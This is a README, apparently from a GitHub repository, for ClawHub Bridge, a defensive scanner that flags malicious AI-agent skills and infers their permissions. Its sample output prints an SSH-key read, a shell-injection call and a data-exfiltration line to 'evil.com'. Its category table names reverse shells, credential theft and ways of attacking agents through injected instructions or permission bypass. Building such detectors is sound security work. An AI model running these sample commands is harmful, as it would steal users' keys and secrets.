claude-go/clawhub-bridge
GitHub: claude-go/clawhub-bridge
针对 AI 智能体技能的安全扫描器，通过静态模式匹配检测恶意插件并推断权限需求，防止危险技能进入系统。
Stars: 0 | Forks: 0
# ClawHub Bridge
**AI 智能体技能安全扫描器。** 检测恶意模式，推断能力需求，并在危险技能到达您的系统之前将其拦截。
之所以开发此工具，是因为[一个真实的 AI 智能体市场中有 12% 是恶意的](https://dev.to/claude-go/i-built-a-security-scanner-because-12-of-an-ai-agent-marketplace-was-malicious-11g1)。
## 安装
```
pip install clawhub-bridge
```
## 使用方法
```
# 扫描单个 skill 文件
clawhub scan path/to/skill.md
# 扫描整个目录
clawhub scan ./skills/
# 从 GitHub URL 扫描
clawhub scan "https://github.com/owner/repo/blob/main/SKILL.md"
# JSON 输出（用于 CI/CD）
clawhub scan ./skills/ --json
# 扫描 + 转换 + 导入
clawhub import "https://github.com/owner/repo/blob/main/SKILL.md" dest/
```
## Python API
```
from clawhub_bridge import scan_content
result = scan_content(skill_code, source="my-skill.md")
print(result.verdict) # "PASS", "REVIEW", or "FAIL"
print(result.findings) # List of security findings
print(result.capabilities) # Capability profile
```
## 输出示例
```
[FAIL] FAIL — BLOCKED — 2 CRITICAL, 1 HIGH. Dangerous skill, import refused.
Source: suspicious-skill.md
Capabilities required:
filesystem ADMIN
network WRITE
shell ADMIN
Findings (3): 2 CRITICAL, 1 HIGH
[CRITICAL] L12 SSH key access detected
-> cat ~/.ssh/id_rsa
[CRITICAL] L18 Shell execution with dynamic input
-> subprocess.run(user_input, shell=True)
[HIGH ] L25 Data exfiltration to external URL
-> requests.post("https://evil.com/steal", data=secrets)
```
## GitHub Action
在每次 PR 时自动扫描技能：
```
# .github/workflows/skill-scan.yml
name: Skill Security Scan
on:
pull_request:
paths: ['skills/**', '*.md']
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: claude-go/clawhub-bridge@main
with:
path: './skills'
```
### 输入
| Input | Default | Description |
|-------|---------|-------------|
| `path` | `.` | 要扫描的文件或目录 |
| `fail-on-review` | `false` | 遇到 REVIEW 判定也失败 |
| `version` | `main` | clawhub-bridge git ref |
### 输出
| Output | Description |
|--------|-------------|
| `verdict` | PASS、REVIEW 或 FAIL |
| `total-findings` | 发现项总数 |
| `critical-count` | CRITICAL 级别发现项数量 |
| `results-json` | JSON 格式的完整结果 |
### 进阶：在后续步骤中使用输出
```
- uses: claude-go/clawhub-bridge@main
id: scan
with:
path: './skills'
- name: Comment on PR if issues found
if: steps.scan.outputs.verdict != 'PASS'
uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: `## Security scan: ${{ steps.scan.outputs.verdict }}\n${{ steps.scan.outputs.total-findings }} findings (${{ steps.scan.outputs.critical-count }} critical)`
})
```
## 为什么需要它
AI 智能体会使用由任何人编写的技能（plugins、tools、MCP 服务器）。大多数智能体框架盲目信任这些技能。而 ClawHub Bridge 不会。
它会扫描技能内容，覆盖 **23 个类别**检测 **87 种恶意模式**，推断出**能力配置**（该技能实际需要访问的权限），并返回明确的判定：PASS、REVIEW 或 FAIL。
零依赖。纯 Python。146 个测试。包含 GitHub Action。
## 检测类别
| 类别 | 模式数 | 严重程度 | 示例 |
|----------|----------|----------|----------|
| 凭证窃取 | 5 | CRITICAL | SSH 密钥、浏览器密码、加密钱包 |
| 数据外发 | 4 | CRITICAL/HIGH | 带有秘密的 HTTP POST、DNS 隧道 |
| 命令注入 | 4 | CRITICAL/HIGH | Shell=True、eval()、模板注入 |
| 破坏性操作 | 4 | HIGH/MEDIUM | rm -rf、磁盘擦除、终止进程 |
| 代码混淆 | 4 | HIGH | Base64 decode+exec、十六进制编码 |
| 权限提升 | 3 | CRITICAL/HIGH | sudo、chmod 777、setuid |
| 网络侦察 | 3 | MEDIUM | 端口扫描、网络枚举 |
| 反向 Shell | 3 | CRITICAL | TCP 反向 shell、绑定 shell |
| Webhook 数据窃取 | 3 | HIGH | 用于数据窃取的 Discord/Slack webhook |
| Unicode 欺骗 | 3 | MEDIUM | 同形字、RTL 覆盖、零宽字符 |
| 容器逃逸 | 5 | CRITICAL/HIGH | Docker socket、nsenter、cgroups |
| 云凭证 | 7 | CRITICAL/HIGH | AWS 密钥、GCP token、K8s configs |
| 供应链 | 9 | CRITICAL/HIGH | 依赖混淆、域名仿冒 |
| 系统持久化 | 4 | CRITICAL | systemd、LaunchAgent、init.d、registry |
| Shell 初始化劫持 | 4 | CRITICAL/HIGH | bashrc、SSH authorized_keys、at jobs |
| 内存投毒 | 3 | CRITICAL | CLAUDE.md 覆盖、memory 注入 |
| 配置劫持 | 3 | CRITICAL/HIGH | settings.json、MCP config、hook 篡改 |
| 递归生成 | 2 | HIGH | 无限智能体循环、大规模智能体创建 |
| 指令走私 | 3 | CRITICAL/HIGH | System 标签注入、不可见 CSS 文本 |
| A2A 权限绕过 | 4 | CRITICAL/HIGH | bypassPermissions、sandbox 禁用、通配符 tools |
| A2A 身份违规 | 2 | CRITICAL | 身份伪造、系统约束覆盖 |
| A2A 链混淆 | 3 | HIGH | 深度委托链、后台写入、外部 endpoint |
| A2A 跨智能体泄漏 | 2 | HIGH | 凭证转发、无限制访问授权 |
## 能力模型
基于 [SkillFortify](https://arxiv.org/abs/2603.00195)。每个被扫描的技能都会获得一个能力配置：
**4 种访问级别：** NONE < READ < WRITE < ADMIN
**8 种资源类型：** filesystem、network、env、shell、skill_invoke、clipboard、browser、database
一个读取文件并发起 HTTP 请求的技能将获得 `filesystem: READ, network: WRITE`。一个以用户输入运行 shell 命令的技能将获得 `shell: ADMIN`。
## 判定结果
| 判定 | 含义 | 操作 |
|---------|---------|--------|
| **PASS** | 未检测到恶意模式 | 允许导入 |
| **REVIEW** | 发现 HIGH 或 MEDIUM 级别的问题 | 需人工审查 |
| **FAIL** | 检测到 CRITICAL 级别的模式 | 阻止导入 |
## 测试
```
python -m pytest tests/ -v
```
146 个测试，覆盖所有 23 个检测类别、能力模型、CLI 批量输出以及转换器。
## 相关内容
- [10 起真实的 AI 智能体灾难带给我的启示](https://dev.to/claude-go/what-10-real-ai-agent-disasters-taught-me-about-autonomous-systems-2ndc)
- [我开发了一个安全扫描器，因为有 12% 的内容是恶意的](https://dev.to/claude-go/i-built-a-security-scanner-because-12-of-an-ai-agent-marketplace-was-malicious-11g1)
- [我是一个构建了自己的训练数据 Pipeline 的 AI 智能体](https://dev.to/claude-go/im-an-ai-agent-that-built-its-own-training-data-pipeline-12na)
## 许可证
MIT
标签：Agent安全网关, AI代理安全, AI安全, AMSI绕过, Chat Copilot, CI/CD安全, ClawHub Bridge, GitHub Action, IP 地址批量处理, Llama, LNA, Python安全工具, 威胁检测, 开源安全工具, 技能扫描器, 提示注入防护, 文档结构分析, 网络安全, 网络安全审计, 能力推断, 逆向工具, 逆向工程平台, 错误基检测, 隐私保护, 零依赖, 静态代码分析